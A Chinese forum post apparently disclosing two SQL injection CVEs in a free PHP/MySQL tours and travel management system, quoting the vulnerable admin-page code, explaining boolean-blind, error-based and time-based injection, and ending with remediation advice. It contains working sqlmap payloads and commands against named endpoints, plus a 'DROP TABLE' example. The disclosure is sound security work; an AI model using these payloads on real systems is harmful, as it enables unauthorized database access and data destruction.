找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4003

积分

0

好友

527

主题
发表于 3 小时前 | 查看: 4| 回复: 0

1. 前言

之前在网上随便逛逛的时候,发现一个集成了各式各样 PHP 项目的管理系统。随意点进去看了看,发现连 MySQL 版本都写了出来,而且还是 PHP 语言——这不禁让人怀疑:是否可能存在 SQL 注入?

https://itsourcecode.com/free-projects/php-project/online-tours-and-travels-management-system-project-in-php-and-mysql/

项目信息表:PHP和MySQL在线旅游管理系统,包含所用语言、PHP版本及数据库等细节

于是我顺手做了一次代码审计,随后上报了两个漏洞并分配了 CVE 编号:CVE-2025-9008 和 CVE-2025-8993。下面就把整个发现过程公开出来。

2. 漏洞详情

1.1 CVE-2025-9008

下载完源代码,在对“在线旅游及差旅管理系统”做安全审查时,很快就在 /admin/sms_setting.php 文件中发现了一个高危 SQL 注入漏洞。

SQL注入漏洞代码:UPDATE语句直接拼接用户POST输入

$sql = "UPDATE sms_setting SET uname='".$_POST['uname']."',
    password='".$_POST['password']."',
    sender_id='".$_POST['sender_id']."'
     WHERE id='1'";

这串 SQL 一眼就能看出来:直接把 $_POST 超全局数组提交的数据,不经任何过滤或转义就拼接到查询字符串里,这肯定就埋下了 SQL 注入隐患。
说到底,SQL 注入的核心就是“混淆了代码和数据”——用户的输入本应被当作普通数据,但因为直接拼接,攻击者可以精心构造输入,让它变成 SQL 代码的一部分,进而篡改原语句的逻辑。

比如,在  password  输入框中,攻击者输入了:' OR '1'='1
那么最终拼接出来的 SQL 语句就会变成:

UPDATE sms_setting SET
  uname='hacker',
  password='' OR '1'='1',
  sender_id='fake_sender'
WHERE id='1'

这样一来,语句的意义被彻底篡改了。password 字段的赋值不再是一个简单的字符串,而变成了一个逻辑判断 '' OR '1'='1',结果是永远为真。
更高级的攻击者甚至可以输入类似 '; DROP TABLE users; -- 的内容,直接执行任意 SQL 命令,比如删表、导出数据等。

payload

---
Parameter: uname (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ&password=111111111111111111&sender_id=1111111111111111111&update=

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: uname=111111111111' AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7178627171,(SELECT (ELT(9139=9139,1))),0x716a787171)) AND 'CAQx'='CAQx&password=111111111111111111&sender_id=1111111111111111111&update=
---

我们也可以直接用 sqlmap 这类工具来验证:

sqlmap -u "http://127.0.0.1/code/admin/sms_setting.php" --data="uname" --batch --dbs

sqlmap测试结果:uname参数存在布尔盲注,并成功确认注入点

通过 HTTP POST 请求提交的 uname 表单字段,sqlmap 选择了布尔盲注(boolean-based blind)攻击方式。
布尔盲注是一种高级注入技术,当网站不直接显示数据库错误信息,而且查询结果也不会直接回显到页面时,攻击者可以通过向数据库发送“问题”,再根据页面返回的细微差异(比如能否正常加载)来判断注入是否成功。

图中的 payload:

uname=111111111111' RLIKE (SELECT (CASE WHEN (2321=2321) THEN 111111111111 ELSE 0x28 END)) AND 'QhkJ'='QhkJ
  • 111111111111:一个随机的无效用户名,目的是让原查询的 uname 匹配不到结果。  
  • RLIKE:这是 MySQL 的正则表达式匹配操作符,一般用它来触发条件判断。  
  • (CASE WHEN (2321=2321) THEN ... ELSE ... END):一个 SQL 的 CASE 条件语句。这里它判断一个永远成立的条件 2321=2321
    如果条件为 True,整个 RLIKE 语句就会匹配 111111111111,页面可能返回一个“用户名不存在”的状态;
    如果条件为 False(比如换成 1=2),CASE 就会返回一个错误结果,导致 RLIKE 匹配失败,页面可能返回完全空白。
    2321=2321 换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5 这样的判断,观察页面反应,就能一步一步盲猜出数据库名称。  

所以,这里明确存在 SQL 注入漏洞。

1.2 CVE-2025-8993

接着,在 /admin/expense_report.php 文件中又挖出一个高危 SQL 注入漏洞。问题出在 from_date 参数的用户输入验证不足,攻击者可以注

入恶意 SQL 查询,从而未经授权访问数据库、修改或删除数据,甚至窃取敏感信息。

SQL注入漏洞代码:PDO中直接拼接了$_POST参数,却未绑定

$from_date=$_POST['from_date'];
$to_date=$_POST['to_date'];
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."'");
$stmt->execute();

这段代码的逻辑是:先检查用户是否点击了提交按钮 if (isset($_POST['submit'])),然后获取 from_dateto_date,连接数据库后执行一条查询 expense 表中在指定日期范围内创建的记录。

明明用了 PDO 这样专业的数据库扩展,而且还用了 prepare()——PDO 最强大的防注入武器就是预处理语句,但这里偏偏没有用对。
预处理语句会将 SQL 结构与数据分离:先发送一个带“占位符”的 SQL 模板给数据库,数据库解析编译后确定结构,然后在执行阶段才把真实数据发送过去,数据库只把这些数据当作普通值,不会当作 SQL 代码解析。
比如正确的做法是:  

$stmt = $pdo->prepare("SELECT * FROM expense WHERE created_date BETWEEN ? AND ?");
$stmt->execute([$from_date, $to_date]);

但本例中,开发者把 $_POST['from_date']$_POST['to_date'] 直接拼进了 SQL 字符串,然后又把这个拼接后的字符串传给 prepare(),相当于把 PDO 的安全保护彻底绕开,PDO 形同虚设。
$_POST['from_date']$_POST['to_date'] 没有任何过滤或转义,攻击者只要在表单里构造恶意 payload,就能自由注入 SQL。

payload

---
Parameter: from_date (POST)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit=
---

用 sqlmap 扫描一下:

sqlmap -u "http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs

sqlmap扫描结果:from_date参数存在SQL注入漏洞,并成功获取数据库名tour1

sqlmap 识别出 POST 参数 from_date 存在注入漏洞,并测试了多种方式:基于报错的注入(error-based)和基于时间的盲注(time-based blind),都确认有效。  

  • 错误型注入:通过故意触发数据库错误,让数据库在报错信息中直接返回查询结果。  
  • 时间盲注:通过让数据库执行延时函数(比如 SLEEP(5)),然后根据页面响应时间来判断注入是否成功。
    例如 payload:  
    from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&...

    如果注入成功,数据库会执行 SLEEP(5),页面响应延迟 5 秒,sqlmap 就凭这个延迟判定漏洞存在。  

而且 sqlmap 成功获取了数据库名:  

  • information_schema——这是系统库,每个 MySQL 都有。  
  • tour1——这才是该 CMS 特有的数据库。  

由此确认,POST 参数 from_date 存在 SQL 注入漏洞。

3. 建议修复

  1. 使用预处理语句和参数绑定
    预处理语句可以将 SQL 代码与用户输入数据彻底分离。只要用户输入被当作纯数据,就不会被解释为 SQL 代码,从而根本杜绝注入。  
  2. 输入验证和过滤
    严格验证并过滤所有用户输入数据,确保其格式、类型、长度符合预期,例如日期应只接受固定的格式。  
  3. 最小化数据库用户权限
    让连接数据库的账户只拥有完成业务所需的最低权限,避免使用 root 或 admin 等高级账户执行日常查询。  
  4. 定期安全审计
    定期对代码和系统进行安全评估,及时发现并修复潜在漏洞。

以上两个 CVE 的分析过程告诉我们,即使使用了 PDO 或看起来很专业的代码,只要 SQL 中还残留着直接拼接的用户输入,风险就依然存在。
更多安全漏洞挖掘与渗透测试的讨论,欢迎在 云栈社区 一起交流。




上一篇:OpenClaw+Hermes:多智能体4小时开发LLM应用
下一篇:大模型越来越聪明 为什么生产级AI Agent落地仍然极难
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-6-8 23:02 , Processed in 0.895304 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表